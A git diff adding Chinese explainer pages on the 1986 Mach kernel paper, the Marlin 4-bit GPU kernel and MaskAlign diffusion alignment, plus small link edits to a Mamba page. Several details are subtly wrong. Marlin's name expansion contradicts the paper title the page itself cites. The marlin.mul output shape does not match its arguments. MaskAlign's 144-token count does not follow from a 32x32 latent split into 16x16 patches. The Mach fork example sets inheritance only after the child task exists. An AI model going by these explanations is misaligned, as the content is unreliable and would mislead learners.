+- [[adapter]] —— 适配器方法的先驱
+- [[peft]] —— 参数高效微调的广义框架
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- （暂无）
diff --git a/src/content/docs/papers/mach-rashid-1986.md b/src/content/docs/papers/mach-rashid-1986.md
new file mode 100644
index 000000000..837f3b079
--- /dev/null
+++ b/src/content/docs/papers/mach-rashid-1986.md
@@ -0,0 +1,301 @@
+---
+title: Mach 1986 — 给 UNIX 换一块能跨机器生长的内核地基
+来源: https://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/publications/usenix86.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你住在一栋**老式百货大楼**里：4.3BSD UNIX 内核就像这栋楼的物业——收银、仓库、物流、客服、安保、装修队全挤在一层，每加一个新功能就要改整栋楼的管线和消防通道。1980 年代 Berkeley 内核越长越大，改一个驱动可能牵动全局，研究者和厂商都越来越难动它。
+
+**Mach**（卡内基梅隆大学，1986 年 USENIX）提出的办法是：只保留一个精简的**物业中心**——负责调度 CPU、管理虚拟内存、在进程之间传消息、在多处理器上同步；而把 UNIX 的文件系统、进程管理、网络栈 gradually 迁到楼外的**独立商铺**（用户态 server）。商铺之间不靠共享全局变量说话，而是走**统一的消息邮箱（port）**。
+
+这篇论文的全名是 *Mach: A New Kernel Foundation for UNIX Development*，作者包括 Mike Accetta、Robert Baron、William Bolosky、David Golub、Richard Rashid、Avadis Tevanian、Michael Young。它要回答的不是「再做一个更好的 UNIX」，而是：**能不能换一块更小、更统一、可扩展的内核地基，同时仍跑 4.3BSD 二进制程序？**
+
+## 这篇论文在说什么
+
+Mach 是一个**多处理器操作系统内核**，目标环境从单核工作站到上百 CPU 的大型共享内存多机，再到局域网里的一群机器（论文 Figure 1）。相对 4.3BSD，它新增的能力包括：
+
+- **Task / Thread 分离**：一个「进程」拆成资源容器（task）和 CPU 执行单位（thread），多核上可在一个 task 里并行多个 thread
+- **大稀疏虚存 + 写时复制（COW）**：fork、大消息传递、内存映射文件共用同一套 COW 机制
+- **基于 port 的 IPC**：带类型、带 capability 的消息；理论上可透明延伸到网络
+- **用户态 pager**：缺页时可以问用户态「分页 server」要数据，而不必写死在内核里
+
+论文写于 **1986 年 4 月**。当时除 **thread 机制尚在完善**外，Mach 的 trap 处理、调度、多处理器同步、虚存、IPC 已在 CMU 内部**生产使用**——不是幻灯片架构，而是能在 VAX 上跑的研究平台。
+
+## 为什么值得读（即使你不用 Mach）
+
+不读这篇 1986 论文，后面很多设计会显得「凭空出现」：
+
+| 现象 | 与 Mach 的关系 |
+|------|----------------|
+| macOS / iOS 内核叫 **XNU**，仍有 `mach_msg` | NeXT 1989 选 Mach 2.5，Apple 收购 NeXT 后一路继承 |
+| **fork()** 几乎不复制物理内存 | Mach 把 COW 与 IPC 绑在一起工程化 |
+| **GNU Hurd** 把文件系统做成用户态 server | 直接受「内核只留最小抽象」路线启发 |
+| Tanenbaum vs Linus 的微内核之争 | Tanenbaum 拿 Mach 路线批评 monolithic Linux |
+| **L4 / seL4 / Fuchsia Zircon** | 专治 Mach 3.0 时代 IPC 太慢的问题，但保留 message + capability 思想 |
+
+Mach 的历史地位：**第一次系统地把「微内核思路 + UNIX 兼容 + 多处理器 + 网络透明」捆成可运行平台**。它后来在服务器上「输给」Linux，却在 **NeXT → Apple** 路径上活到了今天你的 iPhone 里。
+
+## 核心概念（五个抽象 + 一条迁移路线）
+
+Mach 内核只承诺 **四个基本抽象**（论文 §2）；工程上常把 **memory object（VM object）** 算作第五个，因为分页策略是整套设计的关键。
+
+### 1. Task —— 资源容器
+
+Task 是**资源分配的基本单位**，包含：
+
+- 一个分页虚拟地址空间
+- 对处理器、port 能力、虚拟内存等系统资源的受保护访问
+
+日常类比：task 像**一整间带门锁的办公室**——里面的 thread 共享文件柜、白板和配额；换 task 等于换办公室，默认互不相通。
+
+UNIX 里一个传统 **process** 在 Mach 里大致是 **一个 task + 一个 thread**（1986 时 thread 仍在完善）。
+
+### 2. Thread —— CPU 上的执行流
+
+Thread 是 **CPU 调度的基本单位**，有自己的程序计数器和寄存器，但**共享**所属 task 的地址空间和 port 权利。
+
+为什么 UNIX 的 process 不够用了？论文 §3 指出：服务器用 `fork` 为每个客户端建进程开销巨大；多处理器上要用满 N 个核，至少需要 N 个可调度实体——用户态 coroutine 包内核看不见，**Mach 用 thread 把并行交给内核调度**。
+
+### 3. Port —— 受保护的消息队列
+
+Port 是 Mach 的**引用对象**，逻辑上是内核保护的**有限长度消息队列**：
+
+- 可有**多个发送者**，通常只有**一个接收者**
+- 访问靠 **capability**：send right、receive right 等
+- 创建 task / thread / 窗口对象时，内核返回代表该对象的 port
+
+和面向对象类比：**port = 对象引用，发消息 = 跨地址空间的方法调用**。论文用 Flamingo 窗口系统举例：每个窗口是一个 port，客户端向 port 发消息请求重绘。
+
+### 4. Message —— 带类型的 IPC 包
+
+Message = 固定头 + 可变体，可携带：
+
+- 普通数据
+- 指向用户空间的指针（配合虚存）
+- **嵌套的 port capability**（把「钥匙」转交给别人）
+
+除 message 本身外，**几乎所有内核操作都建模成「向某个 port 发消息」**。内核自己也像 server：在 task/thread port 上收消息并执行 suspend、resume 等操作。
+
+### 5. Memory Object / VM Object —— 分页边界外置
+
+虚拟内存区域可绑定 **pager**（分页 server）。缺页时内核不直接读磁盘，而是向 pager 的 port 要页。这样**文件系统、匿名内存、网络分页**有机会跑在用户态——内核维护 cache 和映射关系。
+
+论文 §4–§5 的数据结构：**address map**（每 task 一份）、**share map**（共享区 indirection）、**VM object**（后备存储单元）、**shadow object**（COW  fault 后的影子页）。
+
+### 6. 写时复制：IPC 与虚存是一件事
+
+Mach 继承 Accent 的核心经验：**大消息不必 memcpy 整个地址空间**。
+
+论文 Figure 5 描述的过程（简化）：
+
+1. Task A 向 port 发送一条「很大」的消息（例如 24MB）
+2. 发送时，A 地址空间里对应页面标为 **copy-on-write**
+3. 数据暂放在内核临时映射里，直到 Task B receive
+4. B 收到后，内核决定把页面映射进 B 的地址空间
+5. A 或 B **第一次写**某一页时，才复制那一页
+
+**fork** 同理：子 task 继承父 task 的 map，默认 **inherit copy-on-write**；也可 per-page 设为 share、copy 或 none（§4 的 allocate/protect/inherit 例子）。
+
+Accent 上的评测表明：集成 VM 与 IPC 后，IPC 性能可接近传统 UNIX（论文引用 [3] Fitzgerald & Rashid, TOCS 1986）。
+
+### 7. 与 4.3BSD 的关系（1986 实际状态 vs 目标）
+
+1986 年的落地是**渐进替换**（论文 §8、Figure 6）：
+
+| 层次 | 1986 年 Mach 做什么 |
+|------|---------------------|
+| 陷阱、调度、多处理器同步、虚存、IPC | **Mach 内核**直接提供 |
+| 4.3BSD 语义（文件、信号、大部分 syscall） | 跑在 **kernel-state threads**，由 Mach 调度 |
+| 长期目标 | 把非 Mach 的 UNIX 功能迁出内核，变成 **user-state tasks** |
+
+论文原话：Berkeley 内核体积膨胀已经威胁 UNIX 作为研究平台的**简单与可修改性**；目标是 **「kernelize」UNIX**——更小、更易改、更适配新硬件和网络。
+
+**重要**：Figure 6 里标注，截至 1986 年 4 月，「UNIX compatibility」盒子**仍在 kernel state**，通过共享通信队列与 Mach 层对话——不是一夜变成纯微内核。
+
+## 代码示例
+
+下面例子帮助零基础读者把抽象落到「长什么样」。API 名称随 Mach 版本演进（NeXT / XNU 略有差异），但**语义与 1986 论文一致**。
+
+### 示例 1：通过 port 发一条 RPC 式请求
+
+典型模式：**客户端向服务 port 发消息，服务端 `receive` 后处理**。文件系统、窗口管理器都可以是普通 user task，只要持有 receive right。
+
+```c
+#include <mach/mach.h>
+#include <string.h>
+
+#define MSG_OPEN_FILE  1001
+
+typedef struct {
+    mach_msg_header_t  head;
+    char               path[256];
+} open_request_t;
+
+kern_return_t request_open(mach_port_t fs_port, const char *path)
+{
+    open_request_t req = {0};
+
+    req.head.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
+    req.head.msgh_size        = sizeof(req);
+    req.head.msgh_remote_port = fs_port;
+    req.head.msgh_local_port  = MACH_PORT_NULL;
+    req.head.msgh_id          = MSG_OPEN_FILE;
+
+    strncpy(req.path, path, sizeof(req.path) - 1);
+
+    return mach_msg(&req.head,
+                    MACH_SEND_MSG,
+                    req.head.msgh_size,
+                    0,
+                    MACH_PORT_NULL,
+                    MACH_MSG_TIMEOUT_NONE,
+                    MACH_PORT_NULL);
+}
+```
+
+服务端循环 `mach_msg(..., MACH_RCV_MSG, ...)`，按 `msgh_id` 分派。这和今天 gRPC 的「stub + 传输层」同构——只是传输层是内核的 port 队列。
+
+### 示例 2：task 创建与 COW 继承（fork 的 Mach 版）
+
+UNIX `fork()` 在 Mach 里更接近 **`task_create` + 虚存继承策略**。论文 §4：默认新分配内存 **inherit copy-on-write**；也可对某段设为 share / copy / none。
+
+```c
+#include <mach/mach.h>
+
+kern_return_t fork_like_child(task_t parent, task_t *child_out)
+{
+    kern_return_t kr;
+    task_t child = MACH_PORT_NULL;
+
+    /* 创建子 task，继承 parent 的地址空间布局 */
+    kr = task_create(parent, /* inherit_memory */ TRUE, &child);
+    if (kr != KERN_SUCCESS)
+        return kr;
+
+    /* 对一段区域显式标记 COW 继承（读共享，写时分裂单页） */
+    kr = vm_inherit(parent,
+                    (vm_address_t)0x100000,
+                    (vm_size_t)0x4000,
+                    VM_INHERIT_COPY);
+    if (kr != KERN_SUCCESS) {
+        task_terminate(child);
+        return kr;
+    }
+
+    /* 1986 论文时 thread 仍在完善；现代系统会 thread_create(child, ...) */
+    *child_out = child;
+    return KERN_SUCCESS;
+}
+```
+
+论文称：在 MicroVAX II 上，带新虚存支持的 **fork 明显快于 4.3BSD**；新分配内存 touch 成本约 **0.7 ms/KB** vs BSD 约 **1.2 ms/KB**（§9，早期未充分调优的数据）。
+
+### 示例 3：用户态 pager 处理缺页（概念伪代码）
+
+```c
+/* 用户态 anonymous pager：memory object 由 server 提供 */
+memory_object_t memobj = pager_create_anonymous();
+
+vm_address_t addr = 0;
+vm_map(current_task(), &addr, 0x10000, /* offset */ 0,
+       /* copy */ FALSE, memobj, /* unused */ 0, FALSE);
+
+/* 首次写入触发缺页 -> 内核向 memobj port 发 pager_request */
+*(volatile int *)addr = 42;
+```
+
+这对应论文 §4：**pagein/pageout 可由非内核 task 完成**——文件映射把 pager 设为文件系统 server 即可。
+
+## 1986 年 4 月的工程事实
+
+读论文时要区分**愿景**和**当时已跑通的部分**：
+
+| 项目 | 状态 |
+|------|------|
+| trap、调度、MP 同步、虚存、IPC | 已运行，CMU 多个项目在用（Agora 语音识别、并行生产系统等） |
+| Thread 抽象 | **尚未完成**，预计 1986 夏 |
+| UNIX 兼容层 | 仍在 **kernel state**（Figure 6 注释） |
+| 硬件 | VAX 11/750–8600、MicroVAX I/II、四路 VAX 11/784、IBM RT/PC；同一 VAX 二进制内核映像可跑单机和多机 |
+| 移植中 | Sun 3、Encore MultiMax、VAX 8300 |
+| 性能 | 整体「看起来与 4.3BSD 同量级」，尚未做系统 benchmark |
+
+## 论文还提到的配套设施
+
+- **Matchmaker**（§6.1）：IDL，把接口编译成 C / Pascal / Lisp 的 RPC stub，底层走 Mach message
+- **Network server**（§6.2）：内核不直接做网络 IPC，由用户态 server 扩展 port 语义，支持 VAX / RT/PC / PERQ 间类型转换
+- **kdb**（§7.1）：内核内置 adb 式调试器，带增强栈追踪、call/return trace
+- **透明远程文件系统**（§7.2）：从 CMU 4.1 演进，用特殊链接类型而非 mount 表膨胀
+
+## 事后看：踩过的坑
+
+1. **IPC 不是免费的**：Mach 3.0 时代纯微内核 IPC 开销显著；L4（1993）用极简内核 + 寄存器传递把 IPC 压到 Mach 的约 **1/10** 时间。1986 论文尚乐观，性能税在 1990 年代成为主批评点。
+
+2. **「内核里的 BSD」是过渡态**：Apple 最终走 **Mach + BSD 混合（XNU）**，不是论文 Figure 6 的纯 user-state UNIX。
+
+3. **网络透明很难**：port 跨节点需要 network server、加密、失败语义——论文提出框架，工程花了十年以上。
+
+4. **Capability 调试成本**：「谁持有哪个 send right」比 Unix fd 更绕，Hurd 长期受此影响。
+
+5. **多处理器演进**：1986 的 VAX MP 与今天 NUMA 差别巨大；锁与 cache 行为在大规模 SMP 上暴露新问题。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 理解 **macOS/iOS** 底层为何仍有 Mach 接口
+- 设计**强隔离**、用户态文件系统、能力安全模型
+- 研究 OS 史上 **微内核 vs 宏内核** 争论的原始文献
+- 学习 **IPC 与 VM 一体化** 的设计模式（COW 消息、fork）
+
+**不适用**：
+
+- 追求极致单机 syscall 延迟（数据库、HFT）——monolithic Linux 通常更赢
+- 小团队从零做通用 OS——Mach 路线工程复杂度极高
+- 误以为「微内核 = 更小更快」——论文强调的是**可修改性、可扩展性、统一抽象**
+
+## 与 Accent / UNIX 的谱系
+
+| 系统 | 关系 |
+|------|------|
+| **Accent**（CMU, ~1981） | Mach 精神父辈：port + message + COW VM |
+| **4.3BSD** | 二进制兼容目标；被 Mach 逐步替换底层 |
+| **NeXTSTEP / XNU** | 商业直系 |
+| **GNU Hurd** | GNU 服务 + Mach user server |
+| **L4 / seL4** | 反 Mach IPC 性能问题；保留 message 思想 |
+
+Rashid 后创立 Microsoft Research；Tevanian 经 NeXT 到 Apple——影响路径是 **学术 → 工作站 → 消费电子设备**，而非「赢了数据中心 Linux」。
+
+## 学到什么（零基础 checklist）
+
+1. **换地基，不是堆功能**：BSD 变大后，Mach 用五个抽象划清「该改哪里」。
+2. **IPC 和 VM 一起设计**：大消息、fork、共享映射共用 COW，分开设计会付双倍成本。
+3. **兼容性是迁移策略**：1986 年就强调 4.3BSD 二进制兼容——研究 OS 没人用等于零。
+4. **读 Figure 6 的注释**：目标架构 ≠ 1986 实际架构；thread 未完成、BSD 仍在 kernel。
+5. **活下来 ≠ 赢得辩论**：iPhone 里仍有这篇论文的基因；服务器上是 Linux 的天下。
+
+## 延伸阅读
+
+- 论文 PDF：[Mach: A New Kernel Foundation for UNIX Development (USENIX 1986)](https://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/publications/usenix86.pdf)
+- Accent 前身：Rashid & Robertson, *Accent: A Communication Oriented Network Operating System Kernel* (1981)
+- VM 与 IPC 集成：Fitzgerald & Rashid, *The Integration of Virtual Memory Management and Interprocess Communication in Accent* (TOCS 1986)
+- 性能反思：Liedtke, *On μ-Kernel Construction* (1995) — L4 如何把 IPC 做到 Mach 的十分之一
+- 现代混合内核：[[xnu-kernel]] — Apple XNU 如何把 Mach 与 BSD 焊在一起
+
+## 关联
+
+- [[mach-vm-1987]] — 虚存实现细节（address map、VM object、pmap）
+- [[xen-2003]] — 另一套「重订 OS 与硬件契约」的思路，走虚拟化而非微内核
+- [[kvm-2007]] — Linux 把 hypervisor 收回内核，与 Mach「缩小内核」形成对照
+- [[l4-1995]] — 第二代微内核，专治 Mach IPC 性能
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+（暂无反向链接）
+
diff --git a/src/content/docs/papers/mamba.md b/src/content/docs/papers/mamba.md
index 5d34e0f42..125f2b373 100644
--- a/src/content/docs/papers/mamba.md
+++ b/src/content/docs/papers/mamba.md
@@ -2,7 +2,7 @@
 title: Mamba — 选择性状态空间模型
 来源: 'Gu & Dao, "Mamba: Linear-Time Sequence Modeling with Selective State Spaces", 2023'
 日期: 2026-05-29
-子分类: NLP / 深度学习
+子分类: ml
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
@@ -146,6 +146,8 @@ AI21 的 Jamba 把 Transformer 和 Mamba 按 1:7 比例混排：每 8 层里 1 
 - [[attention]] —— Attention Is All You Need
 - [[dqn]] —— DQN — Deep Q-Network
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
+- [[flashattention-2]] —— FlashAttention-2 — 更快的 Attention 与更好的并行
+- [[flashattention-3-2024]] —— FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度
 - [[mlvtg-2025]] —— MLVTG — MambaAligner + 冻结 LLM 提纯的多模态视频时序定位
 - [[ppo]] —— PPO — Proximal Policy Optimization
 - [[resnet]] —— ResNet — 残差连接
diff --git a/src/content/docs/papers/marlin-w4a16-kernel.md b/src/content/docs/papers/marlin-w4a16-kernel.md
new file mode 100644
index 000000000..f7fae88cb
--- /dev/null
+++ b/src/content/docs/papers/marlin-w4a16-kernel.md
@@ -0,0 +1,198 @@
+---
+title: Marlin: 一个极速的 4-bit GPTQ 风格量化推理 Kernel
+来源: https://github.com/IST-DASLab/marlin
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Marlin: 一个极速的 4-bit GPTQ 风格量化推理 Kernel
+
+## 一、从"压缩快递"说起
+
+想象你每天要给朋友寄很多包裹。每个包裹里装的是模型权重——这些权重就像衣服，数量巨大、占空间。
+
+正常情况下，每个权重用 FP16（半精度浮点数）存储，相当于每件衣服用一个大纸箱包装，里面只用了 16 bit 的信息量。但研究发现，很多权重的精确值其实没那么重要——把 16 bit 压缩成 4 bit，模型效果几乎不变。这就是**权重量化（Weight Quantization）**。
+
+4-bit 意味着每个权重只占原来四分之一的空间，理论上能获得 **4 倍的速度提升**。但现实很骨感：现有的量化 Kernel 在小批量（batch size = 1~2）时还能接近 4 倍加速，一旦批量增大到 16 个 token，速度就暴跌。
+
+**Marlin 的核心贡献**就是：它能让 4 倍加速在 batch size 达到 16~32 时依然成立。
+
+> Marlin 这个名字取自两个含义：一是 **Mar**lin（马林鱼，地球上游得最快的鱼之一），二是 **Mar**lin = **M**ixed **A**uto-**R**egressive **Lin**ear（混合精度自回归线性核）。
+
+## 二、为什么 4-bit 量化很难做到接近 4 倍加速？
+
+要理解 Marlin 的突破，先要知道 GPU 是怎么工作的。
+
+### 2.1 GPU 的"带宽瓶颈"
+
+现代 GPU 的计算能力（FLOPS）远远超过它的内存带宽。打个比方：
+
+- GPU 的数学计算能力很强，像一个超级厨师，切菜速度极快
+- 但 GPU 从内存取数据的速度很慢，像菜市场太远，每次只能买少量食材
+
+GPU 的 **FLOP-to-byte ratio**（每传输 1 字节数据能执行的浮点运算数）大约是 100~200。这意味着：如果每次从内存读取一个权重，GPU 能做 100~200 次乘法累加，才能把内存带宽"喂饱"。
+
+对于 4-bit 量化来说：
+
+- 每个权重只有 4 bit（0.5 字节）
+- 要维持理想 4 倍加速，需要每次加载后执行少于 25~50 次乘加运算
+- 这对应 batch size 大约 4~8 的范围
+
+**关键矛盾**：要让所有 batch size 都保持 4 倍加速，必须同时充分利用 GPU 的所有资源——全局内存、L2 缓存、共享内存、Tensor Cores、向量核心。这在实践中极其困难。
+
+### 2.2 核心概念速查
+
+| 概念 | 解释 |
+|------|------|
+| **FP16 × INT4 MatMul** | 激活值用 FP16，权重用 INT4 的矩阵乘法。这是 LLM 推理中最常见的量化格式 |
+| **Group Quantization** | 不是每个权重单独量化，而是每组（如 128 个权重）共享一个缩放因子（scale），平衡精度与开销 |
+| **Tensor Core** | NVIDIA GPU 上专门做矩阵乘法的硬件单元，INT4 运算在这里效率最高 |
+| **L2 Cache** | GPU 的第二级缓存，容量比共享内存大得多，适合存放频繁访问的数据 |
+| **Shared Memory** | 每个 SM（流多处理器）上速度极快但容量很小的片上内存 |
+| **Dequantization** | 把 INT4 的压缩权重"还原"回 FP16 参与计算的过程 |
+| **Double Buffering** | 双缓冲技术，让数据加载和计算并行执行 |
+| **Striped Partitioning** | 条纹分区方案，让每个 SM 处理的 tile 可以跨越多个列切片，提高利用率 |
+
+## 三、Marlin 的十项优化技术
+
+Marlin 通过以下手段实现了在中等 batch size（16~32）下的近 4 倍加速：
+
+1. **激活值常驻 L2 缓存**：所有激活值几乎总是从 L2 缓存获取，并且在寄存器中多次复用，避免重复从共享内存加载
+2. **异步全局权重加载**：权重加载与计算、激活加载完全异步，并使用可立即淘汰的缓存策略，避免污染 L2 缓存
+3. **双缓冲共享内存加载**：因激活矩阵较大，共享内存占用显著，通过双缓冲将加载与计算/全局加载重叠
+4. **精心编排指令顺序**：反量化指令和 Tensor Core 指令的顺序经过仔细安排，确保两条 GPU 流水线都充分饱和
+5. **离线重排权重布局**：量化前将权重和 group scales 重新排列成最适合运行时访问的格式，允许直接将权重反量化到 Tensor Core 的组织格式
+6. **多线程块部分计算**：每个线程块中的多个 warp 计算同一个输出 tile 的部分结果，在不增加输出 tile 大小的前提下提高 warp 数量
+7. **最大向量长度加载**：所有加载使用最大向量宽度，共享内存读写无冲突
+8. **静态偏移展开循环**：大部分内存偏移在编译期确定为静态值，减少运行时索引计算
+9. **条纹分区方案**：每个 SM 处理的 tile 片段可以跨越多个列切片，在各种矩阵形状下保持良好利用率
+10. **输出缓冲区直接归约**：全局归约直接在输出缓冲区进行（FP32 累加器临时降为 FP16），避免不必要的读写
+
+## 四、代码示例
+
+### 示例 1：用 marlin.Layer 快速量化一个线性层
+
+这是最简单的使用方式。`marlin.Layer` 是一个 PyTorch Module，可以把一个"伪量化"的线性层转换为 Marlin 格式。
+
+```python
+import torch
+import marlin
+
+# 假设你已经有一个训练好的 FP16 线性层
+# 这个层的权重已经被"伪量化"（即量化后再反量化，权重值存储在 FP16 中）
+linear_layer = torch.nn.Linear(4096, 4096, dtype=torch.float16)
+
+# 获取量化所需的缩放因子（scales）
+# 在伪量化流程中，scales 通常来自量化过程
+scales = torch.randn(4096, dtype=torch.float16)
+
+# 创建一个空的 Marlin 层
+marlin_layer = marlin.Layer()
+
+# 将 FP16 层打包为 Marlin 压缩格式
+# 这一步会：离线重排权重布局 + 预处理 INT4 权重 + 准备 group scales
+marlin_layer.pack(linear_layer, scales)
+
+# 现在 marlin_layer 就是压缩后的 Marlin 格式
+# 推理时直接使用，自动调用 Marlin CUDA Kernel
+output = marlin_layer(input_activations)  # input_activations: [batch, seq_len, 4096]
+```
+
+这里的关键是 `pack()` 方法——它不仅做了格式转换，还执行了 Marlin 的核心优化：离线重排权重，使其在运行时可以直接反量化到 Tensor Core 的内存布局。
+
+### 示例 2：通过 GPTQ 全流程压缩 Llama2 模型
+
+Marlin 仓库自带了一个改进版 GPTQ 算法，可以将 Llama2 模型压缩为 4-bit Marlin 兼容格式：
+
+```bash
+# 第一步：压缩 Llama2 模型并导出为 Marlin 格式
+# --wbits 4 表示 4-bit 量化，--save 保存检查点
+python llama2.py /path/to/llama2-checkpoint --wbits 4 --save checkpoint.pt
+
+# 第二步：评估未压缩模型的基准性能（perplexity）
+python llama2.py /path/to/llama2-checkpoint
+
+# 第三步：用 Marlin Kernel 评估压缩模型在 MMLU 上的零样本准确率
+python eval.py --model hf \
+  --model_args pretrained=/path/to/llama2-checkpoint \
+  --tasks mmlu \
+  --marlin_checkpoint checkpoint.marlin.g128
+
+# 第四步：评估全精度基线作为对比
+python eval.py --model hf \
+  --model_args pretrained=/path/to/llama2-checkpoint \
+  --tasks mmlu
+```
+
+评估结果（Llama2 7B, group=128）：
+
+| 指标 | FP16 | INT4 (Marlin) | 损失 |
+|------|------|---------------|------|
+| WikiText-2 PPL | 5.12 | 5.27 | +0.15 |
+| MMLU 准确率 | 41.80 | 40.07 | -1.73 |
+
+可以看到，4-bit 量化带来的精度损失非常小，但获得了接近 4 倍的推理加速。
+
+### 示例 3：直接调用 marlin.mul 内核
+
+如果你已经手动准备好了预处理过的权重和 scales，可以直接调用底层 kernel：
+
+```python
+import torch
+import marlin
+
+# 假设 W_q 是已经预处理为 Marlin 格式的 INT4 权重
+# s 是 group scales
+# A 是 FP16 激活矩阵 [batch, M, K]
+A = torch.randn(16, 4096, 4096, dtype=torch.float16, device='cuda')
+W_q = ...  # Marlin 格式的 INT4 权重
+s = ...    # group scales
+
+# 直接调用 Marlin CUDA Kernel
+# 内部会自动处理：反量化 → Tensor Core 矩阵乘法 → FP16 输出
+C = marlin.mul(A, W_q, s, m=16, n=4096, k=4096)
+# C: [16, 4096, 4096] FP16 输出
+```
+
+注意 `marlin.mul` 是一个纯计算函数，不包含任何层级别的逻辑（如 bias 添加、残差连接等），适合嵌入到其他推理框架中。
+
+## 五、性能表现
+
+Marlin 在 NVIDIA A100 GPU 上的基准测试结果：
+
+- **Batch size = 1**：所有主流 4-bit Kernel 都能达到约 3.87 倍加速（理论极限，扣除 0.125 bit 的 scale 存储开销）
+- **Batch size = 16~32**：Marlin 仍然维持接近 3.87 倍加速，而其他 Kernel 的性能急剧下降
+- **持续性能**：即使在 GPU 时钟频率被锁定的情况下，Marlin 的性能优势依然稳定
+
+这意味着 Marlin 特别适合：
+- **大规模服务场景**：同时处理多个请求
+- **推测解码（Speculative Decoding）**：需要批量生成多个候选 token
+- **高级多推理方案**：如 CoT-Majority 等需要并行运行多个推理链的方法
+
+## 六、硬件要求与限制
+
+- **CUDA >= 11.8**（包括 nvcc 编译器版本需与 torch 匹配）
+- **NVIDIA GPU 计算能力 >= 8.0**（Ampere 或 Ada 架构，如 A100、RTX 30xx、H100）
+- **不支持 Hopper 架构的优化**（B100/Blackwell 尚未针对 Marlin 优化）
+- 需要 `torch >= 2.0.0` 和 `numpy`
+
+安装非常简单：
+
+```bash
+git clone https://github.com/IST-DASLab/marlin.git
+cd marlin
+pip install .
+```
+
+## 七、总结
+
+Marlin 解决了一个看似简单实则困难的问题：**如何让 4-bit 量化在更大的 batch size 下仍然保持接近理论极限的加速比**。它没有发明新的量化方法，而是通过深度优化 CUDA Kernel 的每一个层次——从全局内存到 L2 缓存、共享内存、Tensor Core——实现了一个工程上的杰作。
+
+对于学习者来说，Marlin 的价值在于：它展示了如何将理论上的性能上限转化为实际的代码优化。每一项优化技术都对应着 GPU 硬件的一个具体特性，理解 Marlin 就等于深入理解了现代 GPU 的内存层次结构和执行模型。
+
+## 参考文献
+
+- Frantar, E., Castro, R. L., Chen, J., Hoefler, T., & Alistarh, D. (2024). MARLIN: Mixed-Precision Auto-Regressive Parallel Inference on Large Language Models. *arXiv:2408.11743*.
+- GitHub 仓库: https://github.com/IST-DASLab/marlin
diff --git a/src/content/docs/papers/maskalign.md b/src/content/docs/papers/maskalign.md
new file mode 100644
index 000000000..5233d3641
--- /dev/null
+++ b/src/content/docs/papers/maskalign.md
@@ -0,0 +1,347 @@
+---
+title: MaskAlign: Token-Subset Representation Alignment for Efficient Diffusion Training
+来源: https://arxiv.org/abs/2606.08788
+日期: 2026-06-13
+分类: 机器学习
+子分类: 扩散模型
+provenance: pipeline-v3
+---
+
+# MaskAlign: 用 Token 子集对齐，让扩散模型学得快又好
+
+## 一、一个日常类比
+
+想象你要学画画。
+
+一位老师（预训练视觉模型）站在你旁边，你每画一笔，他就告诉你这一笔应该对应哪一块颜色。问题是：你看到的参考图是清晰的，但你画的草图其实很模糊，甚至有些地方被水晕开了。老师拿着清晰图的每一块颜色来要求你，而你手上只有模糊的草图。
+
+这种"要求对不上"的情况，就是 MaskAlign 要解决的核心矛盾。
+
+传统方法让模型用"所有画块"去对齐清晰参考图的"所有画块"。MaskAlign 的做法更聪明：每次随机遮住 25% 的画块，让模型学会在"看不到某些部分"的情况下仍然画出好作品。
+
+## 二、背景：扩散模型为什么要对齐？
+
+### 2.1 扩散模型在做什么
+
+扩散模型生成图像的过程可以简化为三步：
+
+1. **加噪**：把一张清晰图片逐渐加上随机噪声，直到变成一团纯噪声
+2. **学去噪**：训练一个神经网络，学会从噪声中逐步恢复原图
+3. **生成**：从纯噪声开始，让网络一步步"画"出图像
+
+训练时，网络需要预测"这张图上加的是什么噪声"。损失函数就是预测噪声和真实噪声之间的距离。
+
+### 2.2 为什么要引入"对齐"
+
+2024-2025 年，研究者发现一个加速训练的好方法：
+
+- 同时训练一个**预训练视觉编码器**（比如 DINOv2），它已经"见过"几亿张真实图片
+- 每训练一步，让扩散模型的中间特征和这个编码器的特征尽量接近
+- 这相当于给扩散模型请了一位"经验丰富的美术老师"在旁边指导
+
+这个方法叫 **Representation Alignment**（表示对齐）。代表性工作包括 REPA、REG 等。
+
+### 2.3 但有一个问题
+
+对齐方法有一个隐藏矛盾：
+
+| 扩散模型看到的是什么 | 编码器参考的是什么 |
+|---|---|
+| 加了噪声的模糊图像 | 完全清晰的干净图像 |
+| 信息量随噪声强度变化 | 信息完整、稳定 |
+| 不同阶段依赖不同视觉线索 | 始终提供完整语义 |
+
+用清晰图的特征去要求一个正在处理模糊输入的模型，就像要求一个戴着毛玻璃眼镜的人画出精确的线条。
+
+## 三、核心发现：Token 级别的不均匀性
+
+### 3.1 什么是 Token
+
+在 Transformer 架构中，一张图片会被切分成很多小块，每一块叫一个 **Token**。
+
+比如一张 256x256 的图片：
+- 先经过 VAE 压缩成 32x32 的潜在表示
+- 再切成 16x16 的 patch，共 144 个 patch tokens
+- 加上 1 个 class token（代表整张图的全局信息），共 145 个 tokens
+
+### 3.2 关键观察
+
+研究者分析了"对齐损失"在每个 token 上产生的梯度大小，发现：
+
+- 梯度**不是均匀分布**的
+- 某些空间位置的 token 总是产生更大的梯度
+- 这种空间偏好是**稳定的**（在不同图片、不同训练阶段都一致）
+- 最大空间概率是最小的约 21 倍
+
+这说明：全 token 对齐并不是"公平对待"每一个画块，而是反复强化某些特定位置的 token。模型可能学会了一种"投机取巧"的方式——匹配清晰图的特征模式，但并不真正理解如何在噪声下完成去噪。
+
+### 3.3 用热力图理解
+
+```
+Full-token 梯度热力图（示意，16x16 网格）:
+
+高梯度概率       低梯度概率
+██████░░░░░░░░░░  第 0 行：大部分位置高梯度
+█████░░░░░░░░░░░  第 1 行：左侧高
+██████░░░░░░░░░░  第 2 行：偏左高
+█░░░░░░░░░░░░░░░  第 3 行：只有第一个位置高
+...
+
